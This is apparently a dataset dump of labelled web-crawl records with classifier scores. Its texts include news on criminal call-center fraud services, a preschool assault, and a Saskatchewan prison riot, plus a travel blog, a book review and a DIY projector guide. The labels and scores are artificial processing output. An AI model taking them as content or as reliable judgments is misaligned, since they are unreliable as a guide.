financial institution might ask, such as the age of the victim’s father when the victim was born, the nickname of the victim’s oldest sibling or the city where the victim was married. U.S. authorities have seized the Callservice.biz Web site, which now features the seals for the FBI and Justice Department prominently on its homepage. The feds also seized Cardingworld.cc, a highly-restricted online criminal forum where Callservice.biz was hosted. If you spend any amount of time on underground forums like Cardingworld.cc, however, you’ll quickly discover that these criminal call centers are among the most popular of fraud services offered. For example, another fraud forum — Verified.su — is home to a number of calling services. Among them are two competing call centers that each began as point-and-click fraud shops that helped customers purchase electronics with stolen credit cards and then split the profits after selling the goods on eBay. One such service, Atlanta Alliance, used to offer paying members a password-protected Web site where customers could select a range of high-priced gadgets — such as digital cameras, laptops and smart phones — that could be bought with stolen credit cards. The service even allowed customers to manage the shipment of these products to awaiting “reshipping mules,” individuals in the United States recruited for the purpose of receiving stolen goods and reshipping them to Russia, Ukraine and other nations where many vendors refuse to ship due to the high incidence of fraud from those areas.	cc/2020-05/en_middle_0032.json.gz/line7856
__label__cc	0.741383	0.258617	Teacher and Teacher’s Aide Allegedly Assaulted, Bruised a Preschooler by Alberto Luperon \| 9:11 am, May 5th, 2016 Two preschool employees in Alexandria, Virginia allegedly hurt a 4-year-old girl. Teacher Lisa Campbell, 38, and teacher’s aide Cherie Evette Diggs, 40, have been charged with misdemeanor assault and battery, according to an official statement. Fairfax County police and Child Protective Services started looking into it after the victim’s mother told cops that she’d found bruises on her daughter’s arms. The kid was allegedly attacked on April 21. Police issued arrest warrants, but Diggs turned herself in on Tuesday, and Campbell on Wednesday. Their employers at James L. & Juliette McNeil Preschool Academy told cops they’ve been fired. But investigators worry there could be more victims. They invite anyone with information to visit the Crime Solvers site, call 1-866-411-TIPS, cops at 703-691-2131, or text “TIP187” and your message to 274637 [mugshots of Campbell (l) and Diggs via Fairfax County Police Department] Cherie Evette Diggs, child abuse, Lisa Campbell, preschool	cc/2020-05/en_middle_0032.json.gz/line7860
__label__wiki	0.828676	0.828676	Surfacing & Finishing Flexlink Collaborative Robot Systems The Cure for Curing Space No matter the size of your optical lab, we at FlexLink know that your floor space is of premium value. The way your floor space is used will affect the overall success you will have in achieving your lab’s short- and long-term goals, while meeting your customers’ expectations. Carefully planning the layout of your equipment and your work flow is a very important process when starting up a new lab or expanding your current production line. Implementing or expanding your alloy curing system should not be overlooked during this planning. Overheard at Transitions Academy Now that summer months has passed, it’s the perfect time to recall what you learned during this year’s Transitions Academy and share it with your customers. This year was filled with educational courses and opportunities for eyecare professionals to share their “best practices.” Let’s reflect on the content that was presented during Academy, and look at how you can leverage it to generate success for your lab and your customers. Now that Transitions Academy has come to a close, it’s time to apply what you have learned from this year’s event and start planning for next year. Seiko Appoints Scott as GM Green Brothers Open New Wholesale Lab Schneider Hires New Director of Consumables Satisloh Makes Young VP of Business Development/Key Accounts Tray Accumulation and Storage in Optical Labs has evolved! Learn how tray accumulation and storage in optical labs has evolved from conveyor expert Ken Lento at Flexlink. WHAT YOU NEED TO KNOW ABOUT... CO2 and Plasma Technologies New technologies often come to the optical industry via other industries at large. Atmospheric Plasma for substrate cleaning and coating/bonding adhesion improvement could be the next BIG thing for optical labs. What You Need to Know About...CONDENSING LAB FLOOR SPACE Find out how to save space and improve efficiencies with the right conveyor systems. Transitions Academy and the Innovation Awards How to Generate Engaged Customers: Keep Your Employees Engaged Would you say that the employees are engaged in their work? Or are they just sleepwalking through their workday without regard for either their—or your business’—performance? Ask yourself this question: “How do you keep your employees engaged in providing great service to your customers?” Find out how labs are doing just that. What You Need to Know About Stanton Optical Stanton Optical is set to expand...investing in people and new technology. What You Need to Know About Effective Feedback Effective feedback is not a “sandwich” or a “seagull.” Find out what it is from this expert on the subject. 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What You Need to Know About...Fishing for Business By listening to your clients, you can turn a “migraine” into an opportunity. What You Need to Know About Surviving the Economic Crisis Lab Style What can lab owners do today in regards to the “Economic Crisis?” What YOu Need to Know About Chemistrie - Eyewear That Clicks Find out about magnetic layered lenses with a .9mm thickness and base curve matching technology and a new software program that makes it easy for labs to produce these new lenses. What You Need to Know About Gaining the Doctor's Ear Want to get in front of the guy with the checkbook? Check out the tips from industry consultant Mike Karlsrud. What You Need to Know About Smart Routing Learn how Smart Routing automatically connects with the Rx software databases and sends those job trays where they need to go…automatically. What You Need to Know About...The Slurry Process Slurry expert, Mark D. Barnes, discusses improving polishing slurry productivity and profitability. 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__label__cc	0.596498	0.403502	Leataata Floyd Elementary The Panther Way About Before and After School Programs Leataata Floyd’s Before and After-School programs support and enrich our school’s students, developing their talents and enhancing what they learn each day in school. Roberts Family Development Center RFDC operates the before and after school program here on campus http://www.robertsfdc.com/index.htm Call the main office at (916) 395-4630 or fill out the form below. All absences will be verified. Contact Your Teacher or Staff Leataata Floyd Elementary 401 McClatchy Way Sacramento CA 95818 (916) 264-4175 Sacramento City Unified School District 5735 47th Ave. Sacramento, CA 95824 (916) 643-7400 Copyright © 2014-15. All rights reserved. SCUSD is an ISO 9001:2008 certified organization. Visit the SCUSD website	cc/2020-05/en_middle_0032.json.gz/line7877
__label__cc	0.733501	0.266499	2014, Africa, Travels A Brighter, Empty Distance Burnt dirt. Sourness and fermentation. An intoxicating rot from something that was new not so long ago. From the hilltop, the rattles and cries had cascaded down in search of the riverbank, bouncing off trees and sifting through smoke and brush. Earlier, goats and cattle, their adorned shepherds, and women peering under darkened, ochre brows crisscrossed roads only occasionally disturbed by vehicles. The route had turned from chopped up rocky trails to a dry riverbed prone to flash floods during the rainy season. Empty, it was like traveling across a landlocked beach, tires sinking and spinning, struggling for traction and momentum. I remember a movie – maybe it was Excalibur, maybe Gladiator. There was a scene where an advancing army encountered, first, only the dull howls of unseen enemies. Through a smoky, violet haze, just the cries could be felt underneath deep, intense horns blowing. And though the sky above the Omo River was dull in front of a missing sun, there was still light to see, the clouds sometimes fracturing for short glimpses of white-blue. But there was that same clamor. A hum. Rattling. And that howl. That howl from the hilltop establishing the atmosphere. Pulling us into something completely and forever unknown and un-envisioned, while breezes blew against the grass, fanning it towards us as if telling of a “farewell.” There are fifteen ancient, remote tribes in southern Ethiopia’s Omo Valley. We had visited three before setting out toward Asli, a village of the Hamar Tribe situated along a riverbed less than 50 miles from the border with South Sudan. With the other tribes, we had simply meandered through villages, heard about their traditions, and interacted with tribal members. Asli, however, was to be something altogether different and profound. By the time we reached the top of the hill, the distant hum of the experience that had been dripping on us with each step suddenly swelled and doused us in a powerful musk. As my feet finally planted and I gazed over the scene – women raising a cloud of dust with their primordial cadence, smoke rising from modest open fires, men huddled in unbroken clusters, blood-torn flesh glazed in perspiration on bare backs – I began to lose my balance, and any sense of centeredness. The anxiety rose and I felt faint. I was slightly nauseated and sweating, and I felt like I was standing drugged on a crumbling ledge. The Hamar people – once hunter-gatherers – are now cattle herders and prolific farmers. Their villages dot the hills and valleys, and they are among the more visible tribes of southern Ethiopia – frequenting the roadsides, making their way from village to village, between village and market, or moving their herds from one pasture to another. They are especially striking people – especially the women. They are modestly covered with simple clothing made of cow and goat hide. Sometimes you’ll see someone with a cotton t-shirt, no doubt procured from the flood of used clothing that makes its way to Africa off cargo ships, bundled in car-sized bales. Both men and women are adorned with vibrant jewelry: bracelets, beadwork, necklaces, hair clips – some with significance (such as whether a woman is a first or second wife), and some merely for decoration. The women’s hair is covered in clay, which oftentimes covers their ears, neck and brow. The men wear their hair in all variety of designs based on personal tastes. Patterns and designs are etched on bodies, created by cuts that are then packed with ash and charcoal, leaving raised and bubbled scars. Through the valley, what were no doubt once narrow, storied footpaths, have evolved into roads for the intermittent passing of Land Cruisers. Though the Hamar and other tribes have had to make room for modern civilization in such ways, they have remained steadfast to ritual and tradition. They begrudgingly have opened up their communities to visitors in return for the small income it brings to help buy cattle, or pots, or maize. They pose for photos for a small price (usually around 25 cents). They are tough negotiators, and extremely strong-willed. They are friendly, though not often warm. More vine than branch, the whips look to be slightly more than a meter long. They are so thin at their ends, they blur against the sky and completely disappear against the darker backdrop of terraced hills. If not already carried by a man, they are imposed upon one by the woman willing to demonstrate her devotion to her brother – the one who later will jump a line of bulls for his right to marry. Only men who have already completed the bull jumping ritual – the Maza – can take part. She stands boldly just within the encircled crowd. She shouts and springs up and down on the balls of her feet. With her eyes alert and fierce and unblinking, she demands it, as though assigning proxy for what seems – at least in some part – her own self-flagellation. Demonstration of her dedication. Her commitment. Her resolve – to her brother, to her family. Her arms raise forming wings of transcendence. Gazing at her, I try to imagine what place in her dreams she might have taken herself. But it’s clear. She – like the rest of us – is right here. Face to face, the man brings the whip back along a sideways shallow arch and in one spontaneous yet choreographed motion, three-parts brutality one-part finesse, casts the whip toward her side and then jolts it quickly backwards, interrupting its momentum abruptly so as to force the tip to whiplash against her back. Thrashing her skin and opening it up, the blow cuts a new wound atop old ones. Her back now torn, she finally settles. She does not wince. Nor cry. Somehow emboldened by her growing collection of scars. Deeply proud of each one. Dignified, satisfied, she takes her place back in the march. Within the eerie cadence. Back into the clamor. My friend, Shikha, would tell me later that as she stood watching this ritual, a Hamar woman quietly came to her side and took hold of her hand, comfortingly offering assurance that, though so clearly very foreign – still – here, everything is all right. Later, after a short rain interrupted the ceremonies, the gathering of the bulls began atop the hill. Lined up ten deep, side-to-side, and circled by the crowd. The jumper, assuming successful, would meet his bride days later. His family in charge of her selection, he only had one thing to do. One thing to prove. Naked except only for a thin necklace. His family and male friends surrounding him. Women, embracing each other’s bloodied backs, watching. The bulls, oddly calm after their own brutal orientation. Giving himself no more than three modest strides, his small frame (no more than 5’6”) sprung atop the first bull he encountered. His arms flailing, he danced his way across their backs, landing in dust and the arms of his family on the other side. He turned and returned across the backs. Again, and yet again. Four times, he managed the energy, strength and agility to complete this task, which was central to everything that preceded it. A symbol of his worthiness. An indication of his ability to protect his bride, whom he will meet for the first time in fifteen days. His undertaking complete, he was wrapped in a hide to cover his nakedness. His male family members huddled around him, and began to chant blessings for him and his wife-to-be. The chorus was soft and solemn – touching and powerful. As the crowd retreated back down the hillside, there were more clusters of celebration, and lines of women singing. It was spectacular to look across. It was overwhelming to be nearby. This was not some spectator event choreographed for a group of tourists. No. It was a sacred, prehistoric rite of passage that has been practiced the exact same way for ages. The Omo Valley is not heavily trafficked by tourists, and those who do make the challenging journey are only afforded rare chances to attend a Hamar tribe bull-jumping. My emotions struggled to catch up to the scene. I felt heavy, and awkward, yet privileged and deeply moved. It was a great deal to try to take in. I was crying, but I couldn’t produce tears. The violence made it hard to reconcile. And it took a lot to stand there without judgment of what I had witnessed. To call it “beautiful” seemed misguided. To call it “brutal” seemed naïve. There is a couple staying at our Addis Ababa hotel who are here to adopt an orphaned Ethiopian baby. Their baby had been abandoned in Harar – a town in eastern Ethiopia. It is known to be roamed by hyenas at night. Sometimes, babies are abandoned by young mothers in the nearby forests where the hyenas discover them. Every time I see a television that’s turned on, it’s invariably tuned to the news. And the news, invariably, is about Gaza. Or the Malaysian jet crash site. Or Ebola. Or Congress. I have to divert my attention, searching for a brighter, empty distance. I strain to tune it out. If I can, I walk away. But no matter. I veer back and take my place in the march. Within the eerie cadence. Back into the clamor. (More images from the Omo Valley and Asli Village can be found in my galleries on Exposure here.) Tagged Africa, ancient tribes, bull jumping, Ethiopia, Hamar Tribe, Leave The Boots, Omo River, Omo Valley, Travel Blog	cc/2020-05/en_middle_0032.json.gz/line7878
__label__cc	0.620405	0.379595	▵ HOME ▵ ABOUT ▵ APPEARANCES ▵ CONTACT WEB COMIC ▵ ETSY STORE ▵ INSTAGRAM ▵ FACEBOOK ▵ Lenart Slabe Lenart Slabe is an illustrator, comic artist and graphic designer from Slovenia. He graduated in 2013 in Visual Communication Design at The Academy of Fine Arts and Design, University of Ljubljana. He moved to Amsterdam shortly after in order to become the very best, like no one ever was. He works as a freelance illustrator and designer for companies and individuals around the world, as well as writes and publishes his own comics. The artwork and the stories tend to touch on darker subjects, but always with a pinch of humor. His first zine, What Has My Life Come To (four printings, 900 copies), includes a number of short comics, as well as some artworks. He collaborated with Petra Fon to produce his second zine Dave: A Comic Jam (500 copies printed). The resulting surreal adventure story was made by both artists alternately writing and drawing each new panel. What Has My Life Come 2, the third zine, is a continuation of the first one, but with an even more diverse collection of recent comics and artworks. Lenart regularly attends comic book conventions in the Netherlands, Germany, Belgium and Austria. See the full list of upcoming conventions here! Hot dang, what a guy!	cc/2020-05/en_middle_0032.json.gz/line7882
__label__wiki	0.884895	0.884895	Anatomy of a prison riot: Burning debris, 'bounce shots' and bloodshed inside Saskatchewan Penitentiary Correctional Service of Canada has never made public its blow-by-blow account of the melee, which resulted in one death and multiple murder charges Douglas Quan Hours into a deadly riot at Saskatchewan Penitentiary on Dec. 14, 2016, emergency response team members decided to bust through makeshift barriers that inmates had put up using fridges, washing machines and bed frames. On the other side, they encountered masked inmates who hurled burning debris, chairs and chunks of concrete and metal at them. Some of the 131 medium-security inmates who took part in the riot were armed with broomsticks whose ends were affixed with sharpened metal tips. While the Correctional Service of Canada posted a summary of the incident on its website, the agency has never made public its internal blow-by-blow account of the melee, which resulted in one death and multiple murder charges, several injuries and $3.6 million in damage. The National Post received a redacted version of the 161-page Board of Investigation report this week in response to an access-to-information request filed in the spring of 2017. The Office of the Correctional Investigator, Canada’s prison watchdog, has previously criticized the CSC for not making public such reports. It has also questioned the thoroughness of the CSC’s internal investigation of the riot, pointing out that investigators failed to delve into the living conditions and group dynamics of the riot participants, most of whom were Indigenous and many of whom were gang-affiliated. It has also blasted the report’s conclusions on the causes of the riot, calling them superficial and lacking credibility. File photo of Saskatchewan Penitentiary. “A lot must go wrong, and for quite some time, before a prison erupts in violence,” prison watchdog Ivan Zinger wrote in his report. Thomas Porter/The Canadian Press/File “CSC should not investigate itself when there’s such a tragedy, where there’s riots or somebody dies in segregation,” Ivan Zinger, the correctional investigator, told the National Post. “It’s the same kind of rationale that’s been used with respect to police. When a citizen is seriously injured or dies it’s not the same police force that investigates itself. The same kind of rationale should be used in corrections.” In a statement, CSC spokeswoman Veronique Rioux defended the agency’s procedures, noting that the Board of Investigation is mandated to ensure responses to incidents are in line with policy and to prevent them from reoccurring. Lessons from the riot continue to be integrated into daily operations and the agency considers all recommendations from the watchdog, she wrote. Because the internal report contained private information it could not be made public. The riot took place in five corridors, also known as ranges, in the medium-security section of the aging prison located in Prince Albert. Tensions had been simmering for days, according to the report. CSC should not investigate itself when there’s such a tragedy On the morning of Friday, Dec 9, 2016, inmate kitchen workers walked off the job in protest over food portions. One point of contention: the utensil used to scoop scrambled eggs was undersized and not delivering the 125 grams mandated by the prison system’s national menu. When staff found a slightly bigger utensil, it didn’t satisfy kitchen workers and they did not return to work the following Monday, Dec. 12. On Dec. 13, the warden signed a memo committing to efforts to find ways to improve oversight of food quality and portions and general working conditions in the kitchen. But the inmate representatives were not satisfied and came back Dec. 14 with a new demand: “double portions of protein.” The warden said this was not possible as menus were set nationally. The warden was also told inmates were fed up with their diminished purchasing power. That afternoon, ranges were opened up so inmates could proceed to their work programs. But some of the inmates in the E and F corridors refused. Correctional officers attempted to get them to return to their cells, but they ignored orders to lock up. At 1:25 p.m., inmates in the E3 and E4 ranges covered their faces with balaclavas and began to smash appliances, blocked or broke surveillance cameras and erected a barricade using fridges, washing machines, beds, sheets, cables and other items. Similar disturbances broke out in the E1, E2 and F4 ranges. Some inmates began setting objects on fire and threw them out cell windows. Inside the Saskatchewan Penitentiary after a deadly riot broke out on Dec. 14, 2016. Office of the Correctional Investigator At 3:40 p.m., the deputy warden read the Riot Act proclamation over the prison’s intercom system, warning inmates they could face additional prison time for participating in a riot. It had little deterrent effect. The warden signed a document that authorized staff to take progressive measures to regain control of the facility, including the use of restraints, batons, shields, breaching equipment, chemical agents, grenades and firearms. At 4:35 p.m, ERT members began to breach the barriers to the E3 and E4 ranges. “Orders to cease and desist their activities and warnings that chemical munitions and lethal force could be used were made, to no avail,” the report said. As they pushed through, they deployed tear gas and then marched down the corridors in riot formation. Some inmates threw chunks of concrete or metal and metal chairs. Others charged at them using bed frames and mattresses as shields. Orders to cease and desist ... were made, to no avail In response, the ERT members used a variety of weapons and distraction devices to push the inmates back, in some cases firing at the ground or the walls to create “bounce shots.” (Though the specific weapons used were redacted in this section of the report, other parts of the report confirm that shotguns were part of the arsenal. The prison watchdog later noted several inmates were injured after being hit by shotgun pellets.) As they got to the back of the range, ERT members deployed pepper spray and used physical force to drive inmates into their cells. Most inmates complied, except for three who lay prone on the floor and were handcuffed. The ERT members went through similar confrontations in the F4 corridor. At 6:30 p.m. the ERT members moved to the E1 and E2 ranges. “While the barricade was being cleared, inmates threw debris … such as chunks of concrete and tried to stab at the ERT with broom sticks with sharpened metal taped to the ends,” the report said. The ERT members fired more warning shots down the corridor, which was dark and filled with smoke. Spotlights were activated. Jason Bird, who died in the Saskatchewan Penitentiary riot, may have been targeted for refusing to participate. Facebook A couple of inmates who had been assaulted prior to the riot squad’s arrival were found in their cells and taken away for treatment. A third inmate, Jason Bird, who was serving time for property offences, was found lying in the fetal position in his cell. Two officers carried or dragged his limp body out of the corridor. Due to the amount of blood, they struggled to get a firm grip on him. At one point one of the officers tripped and Bird fell on top of him. A nurse could not find a pulse and they began to perform CPR as they whisked him away on a stretcher to an ambulance. He was declared dead a short time later. Throughout the incident, teams raced from one location to another to put out spot fires. Meanwhile, ERT members continued to work to quell the rioters. “Chemical agents, impact munitions and firearms were again used to gain control of the inmates,” the report said. Finally at 7:25 p.m., order was restored and the prison was deemed secure. The entire tactical response was videotaped; however the quality of the footage was poor as the person filming had the camera pointed at the floor or the backs of officers much of the time. Debris inside the Saskatchewan Penitentiary after a deadly riot broke out on Dec. 14, 2016. Office of the Correctional Investigator After the riot, investigators learned some inmates had created a “hit list” and that Bird, 43, may have been targeted for refusing to participate in the riot or because he did not take part in the earlier work stoppage. Investigators learned that his assailants had attacked him with metal bars, pipes and legs from metal beds and then burned their clothes in the fire. Three of five inmates charged with killing Bird have since been convicted and two have trials next year. At the sentencing hearing for one of the men, the judge described the swarming attack as “violent, vicious and relentless.” “No mother should ever mourn a child. No sister or brother should bury a sibling,” Bird’s mother, Evelyn Bird, reportedly said in her victim-impact statement. “I forgive you for murdering my son.” The CSC’s internal report, meanwhile, concluded the riot was spontaneous and could not have been predicted. While the kitchen walkout was a “proximal precipitating event,” the riot was “unrelated to food quality/quantity” and the prison’s management of inmate complaints did not contribute to the riot, the report said. Prison watchdog slams investigation of deadly riot in Saskatchewan Report says kitchen staff walkout possible trigger for Saskatchewan prison riot Inmate dead, two seriously hurt, following massive 24-hour riot at Saskatchewan prison But Zinger, the prison watchdog, released a report in fall 2017 with a different conclusion. Prison riots are not random; instead “a lot must go wrong, and for quite some time, before a prison erupts in violence,” he wrote. In this case, inmate dissatisfaction over food and pay for kitchen workers appeared to have been “triggering events.” The CSC subsequently published a case summary on its website in March 2018 acknowledging that multiple factors, including work and food-related issues, “may have created riot preconditions.” “The catalytic event that could have sparked the riot was the kitchen walkouts.” The CSC’s markedly differing accounts of the riot, Zinger wrote in his 2018 annual report, “point to underlying transparency and credibility issues with respect to how CSC investigates itself.” Zinger went on to highlight a significant blind spot in CSC’s internal report: the rioters were overwhelmingly young, Indigenous and linked to gangs. Eighteen of the 21 “principal instigators” were Indigenous and 11 were gang-affiliated. An “uninhabitable” living unit in the Saskatchewan Penitentiary, shown after the 2016 riot. Office of the Correctional Investigator “Despite this demographic profile, the underlying Indigenous composition and gang dynamics of the riot were not assessed by the Board, nor subsequently by the Service,” Zinger wrote. “Presumably, these young men were fed up enough to incite, instigate or participate in an incident that could result in a maximum sentence of life imprisonment; yet there is no serious or sustained attempt on CSC’s part to investigate why.” Rioux, the CSC spokeswoman, maintained in her statement this week there were “no pre-incident indicators, security intelligence information or population management issues that could have predicted (the riot).” That said Saskatchewan Penitentiary has made it a priority to address food issues. Inmates who feel they require more nutrients than the national menu provides can request a nutritional assessment by a dietician, who may make adjustments, she wrote. Rioux added other corrective measures have been taken, including training staff on the use of video recording equipment. • Email: dquan@postmedia.com \| Twitter: dougquan Listen to our true crime podcast, The Dark North, on Apple Podcasts or Spotify Free Press journalists honoured at 65th annual Ontario Newspaper Awards Latest from LFP PHOTOS: 12 clubs. 180 athletes. One huge London swim meet Snow squall warning, flooding fears along Lake Erie amid wintry weekend wallop Connor McMichael's latest hat trick sparks London Knights win, dreams of 50-goal potential PHOTOS: London Knights vs Erie Otters	cc/2020-05/en_middle_0032.json.gz/line7886
__label__wiki	0.654519	0.654519	Experience by Martin Amis Date added: 2.3.2015 We live in the age of mass loquacity, Martin Amis writes by way of introduction to Experience, thereby placing the reader in a curious bind. How to feel about a memoir by a writer who deplores our current enthusiasm for memoirs? Can such a publicMoreWe live in the age of mass loquacity, Martin Amis writes by way of introduction to Experience, thereby placing the reader in a curious bind. How to feel about a memoir by a writer who deplores our current enthusiasm for memoirs? Can such a public appeal for private life be convincing? The son of misanthropic comic novelist Kingsley Amis, Amis the Youngers life story is a literary curiosity, he tells us, which is also just another instance of a father and a son. Hes spent his whole life bathed in the dubious yellow glow of celebrity, from the cries of nepotism surrounding his first novels publication to the bizarre tempest in a teapot involving the size of the advance for The Information, his choice of literary agent, and of course that famously expensive set of new teeth. Here, finally, is Amiss chance to set matters straight--and if youre looking for his take on these controversies, you wont be disappointed. In fact, you should turn right away to the end of the book. After all, how many memoirs have indices--and how many indices are this entertaining? In addition to movers and shakers like Travolta, John, Brown, Tina, and Bellow, Saul, one finds an extended entry for dental problems, which includes of animals, sexual potency and, Bellow on, and--more ominously--tumour.Yet its as a clear view of the geography of a writers mind, not as a celebrity tell-all, that Experience succeeds. Organized not by chronology but by a strange thematic schema all Amiss own, this messy, tangential book moves backward and forward in time and comes studded with footnotes and interspersed with schoolboy epistles. As a result, its much truer to the actual texture of experience than anything more novelistic could possibly be. Amiss charming, quarrelsome, almost entirely helpless father- the tragic disappearance of his cousin, Lucy Partington- the daughter discovered only as an adult- those teeth--the narrative circles around these events and personages in prose as virtuoso but often less chilly than that found in his novels. This is memoir as anatomy of obsessions, and in the most profound way, it illuminates the source and power of Amiss remarkable work. --Mary Park Experience by Martin Amis Anselm Kiefer: Heaven and Earth The White Peacock : Timeless Classic Novel for Men and Women (Annotated) L’Atlas d’anatomie de Netter La Decouverte: Discovery	cc/2020-05/en_middle_0032.json.gz/line7891
__label__cc	0.574467	0.425533	(-) Remove Conflict Transformation filter Conflict Transformation Tackling Food Security and Protracted Crisis in Horn of Africa Planetary Security Initiative Maize, agriculture, FAO, food security, resilience, Horn of Africa The Kingdom of the Netherlands has contributed $28 million to back FAO's work to boost the resilience of food systems in Somalia, Sudan, and South Sudan - part of a new initiative to scale-up resilience-based development work in countries affected by protracted crises. Analytical tools for identifying water conflict risks – Event summary Benjamin Pohl (adelphi) and Susanne Schmeier (IHE Delft) woman, bottled water, desert Access to water can be a critical resource for cooperation, but also a source of tension. Identifying risks before their onset is crucial for the efficiency and economic feasibility of intervention strategies, but how can these risks be measured? To address this conundrum, adelphi together with several partners convened a side-event at World Water Week, which connected experts developing analytical tools to policy makers in the water sector. Linking climate change and peacebuilding in Colombia through land access Sebastian Lema (Climate Focus) and Johanna Kleffmann (adelphi) Livestock, cows, farm, Colombia Colombia’s long-standing internal conflict and the country’s contribution to climate change share one common root cause: land concentration. Policies to strengthen access to land and to ensure sustainable land use might therefore hold the key to promoting peacebuilding in Colombia, while simultaneously reducing emissions. It’s not just energy – The multi-layered nature of decarbonisation land use, field, tree, agriculture, IPCC Special Report, Mercosur Two events in August 2019 underlined the complexity of paving the way to a climate-neutral world: the publishing of the new IPCC report and the Amazon fires. Both events demand that climate diplomats move beyond a narrowed focus on energy in decarbonisation debates. Explainer: ‘Desertification’ and the role of climate change Robert McSweeney, Carbon Brief Dry, Indonesia, drought The severity of desertification and its mutual relationship with climate change cannot be overstated. In light of the recent launch of the Special Report on Climate Change and Land by the Intergovernmental Panel on Climate Change (IPCC), Robert McSweeney from Carbon Brief explains what desertification is, what role climate change plays, and what impact it has across the world. Organized crime in the Amazon: Illegal mining hotspots Adriana Erthal Abdenur, Igarapé Institute clay, mining, amazon, river, pollution A new form of organized crime has recently been emerging in the Amazon: illegal mining. Miners fell trees, use high-grade explosives for blasting soils and dredge riverbeds. But the impacts go beyond environmental damage, bringing with it a slew of other social problems. Peace researcher Adriana Abdenur urges policymakers to improve coordination and argues that diplomacy may help prevent further conflicts, corruption and crime. Holding criminal spoilers at bay for environment and peace in Colombia Johanna Kleffmann, adelphi Salento, Colombia, coffee plantation, forest, agriculture, café To fight illegal coca plantations and conflict actors’ income sources, Colombia’s president wants to loosen the ban on aerial glyphosate spraying. However, considering the dynamics of organised crime, the use of toxic herbicides will not only fail to achieve its aim, it will have many adverse effects for the environment and human health, fundamentally undermining ways to reach peace in the country. International cooperation and national policy-makers need to account for this peace spoiler. Managing climate and disaster risk in fragile states Martin Ras, UNDP Flood, South Sudan, disaster risk reduction, DRR, Sendai, Shoring up stability No country is immune to natural hazards, but for fragile states, the effects are even more severe. Mostly, conflict prevention and humanitarian aid are seen as more pressing priorities to protect livelihoods there. This pushes efforts of climate change adaptation and disaster risk reduction to the bottom of the priority list and results in compounded pressures. Urban Elites’ Livestock Exacerbate Herder-Farmer Tensions in Africa’s Sudano-Sahel Matt Luizza In recent years, conflict between herders and farmers for access to increasingly scarce natural resources in Africa’s Sudano-Sahel has escalated. While the problems fueling these tensions are both hyper-local and transnational in nature, one important piece of the puzzle has been overlooked. The real “elephant in the room” is who owns the livestock. Tags agriculture conflict development environment featured Guest Contributor land livelihoods natural resources Sahel	cc/2020-05/en_middle_0032.json.gz/line7892
__label__cc	0.601211	0.398789	Cassie Stuart Unforgotten 2: Interviews “I was very nervous. “You hope we can serve it as well second time round. “But actually three or four days in it felt really good to be back playing her.” Nicola Walker talking to me about returning to the role of DCI Cassie Stuart in the second series of Unforgotten. Teaming up again with Sanjeev Bhaskar, as DI Sunil ‘Sunny’ Khan, for a new six-part story starting on ITV at 9pm this Thursday (Jan 5). The acclaimed first series was followed by a BAFTA Best Supporting Actor Award for Tom Courtenay’s portrayal of Eric Slater. The 2017 series, again written by Chris Lang and directed by Andy Wilson, includes a new cast of ‘suspects’. With some unexpected twists along the way sure to provoke debate among viewers. Beautifully acted by all involved – not least Nicola and Sanjeev. January 1, 2017 News	cc/2020-05/en_middle_0032.json.gz/line7895
__label__cc	0.701578	0.298422	How To: Make a DIY Home Theater Projector and 50" Screen for Only $5 (Great for March Madness!) Today's project will show how you can convert your laptop, smartphone, or tablet computer into a makeshift projector—just in time for March Madness! It's super cheap to build, and can add a little bit of creative fun to your next sports party. This DIY is geared mainly toward college students looking for a way to turn devices they already have into a projector for sporting events or parties. It's more of a novelty than anything practical, but in my experience, the image is watchable and the idea will hopefully be enjoyed. If anything, it's a party trick you can pull out for your next get-together with friends. Please note that the image projected on the wall will be "mirror image" or "flipped horizontally" from the original image. This will make any text or numbers appear backward. Also, the light from the laptop, smartphone or tablet is the only source of light, so as the image is made bigger, the intensity of the light on the screen gets weaker until eventually the image becomes indiscernible. Aside from already owning a laptop, smartphone, or tablet, you're going to need 3 items to make this projector: Full-page Fresnel lens Cardboard: I got my cardboard box at a Walmart. I just went into the photo lab area and asked if they had any boxes I could use for a project. They had more than they cared to have! I chose one that was a couple feet long, and the front face was just larger than my iPad. Tape: For tape, I got black duck tape (also from Walmart), but even packing tape or masking tape can work just great! Fresnel lens: I found my Fresnel lens on eBay for about 4 dollars. Since then, I've seen them as low as 3 dollars. The size is somewhere around 8x10 inches. These are typically used as full page magnifiers for reading small text. Ideally, we want a hole in the front of the box about 1/2" smaller than the lens. I used the actual lens as a template to trace around the edges, then drew another rectangle 1/2" inside the first. It's this inner rectangle that we'll be cutting out, and it should leave a 1/2" ledge for us to tape the lens onto. You can also use something like a credit card or hotel key to trace a rectangle in the center. When it's all cut out, you should have a left-over piece as seen in the picture, and you may want to hang onto that. Now you can use some tape to secure the lens on the inside of the box. NOTE: The grooved part of the lens should be facing inside the box, and the flat smooth side should be facing outward. When the lens is set, you can close up the box to give it stability. Your Tablet or Smartphone will go inside and project outward through the lens. I gave mine a quick paint job to make it a little nicer, and made a projection screen with a piece of 0.02" Hi-Impact Styrene I got from a sign supply company for just over $2.00. It's 4 feet wide and the black duct tape made a nice border trim on the plastic sheet. I had just enough tape left over to put it up on the wall and rig up a makeshift home theater. When using a laptop, this configuration will be too small. I found that a hole could be cut on the back of a different box, and the laptop turned upside down and slid into place. This is by far the quickest and easiest set-up, and the laptop gives the best results because the screen is the biggest and brightest! The image that gets projected on the screen will be flipped horizontal, and upside down. You can make it right-side-up by turning your tablet, smartphone or laptop upside down in the projector. If you're using a tablet like an iPad, you'll also need to go into the settings menu and make sure to lock the rotation of the screen so that it's sideways. Otherwise when you turn it over, the image won't stay upside down. Whatever device you're using, you'll also need to bring the brightness up to maximum to get the most light. If your phone doesn't have an option to lock the screen, you may need to download an app. To hold the device in the projector, you'll probably want to find something sturdy like a couple of text books, or a sturdy box. I used a box of tomato paste that was about the size of an iPad. Using a couple of rubber bands to secure the device in an "upside-down" position, it's now ready to go in the projector and play your movie! Note that the image should be right-side-up, but it will still be flipped horizontally. This means that any words or numbers on the screen will still be backward._ I found that using a laptop works the best, because the screen is larger to begin with, and it can be turned up fairly brightly. This is good because as the image is made bigger, the intensity of the light on the screen is lessened. An image of 50" is very watchable on a laptop, as well as a tablet about the size of an iPad. Of course, the closer your bring the projector to the screen, the smaller the image will be, but the brighter and more focused it will become. I found that if you cover all your windows and close any doors to make sure the room is completely dark, this will help the image appear crisper and brighter. Because the Fresnel lens is made flat, there are some optical disadvantages that appear in the image. For example, the edges of the screen may be a little blurry while the center is in focus. To address this problem, a shroud can be added to the lens with a rectangular hole in the center about the size of a credit card. This will choke down the aperture, and dramatically improve the focus. The trade off is that there will be less light emitted from the projector, so the image on the screen will be dimmed. A 